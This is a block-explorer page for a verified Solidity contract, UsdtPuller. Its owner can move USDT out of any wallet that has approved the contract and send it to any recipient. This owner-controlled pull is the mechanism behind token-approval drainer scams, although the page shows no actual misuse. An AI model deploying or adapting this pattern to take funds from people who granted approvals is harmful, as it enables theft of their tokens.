Skip to content
Verified contractExactMIT

UsdtPuller

Address0x3ddfa969efd2b972ec2bf76a23fd7aec1de21986
Balance

0 ETH

 

Transactions

6

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,320,691
Creation transaction
0x0339d4b675…b998b98ec8

UsdtPuller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external;
}

contract UsdtPuller {
    address public owner;
    // 使用带括号的 address() 转换,彻底规避编译器的校验和报错
    address public constant USDT = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);

    event Pulled(address indexed from, address indexed recipient, uint256 amount);

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    function pullToken(address from, address recipient, uint256 amount) external onlyOwner {
        IERC20(USDT).transferFrom(from, recipient, amount);
        emit Pulled(from, recipient, amount);
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Invalid address");
        owner = newOwner;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.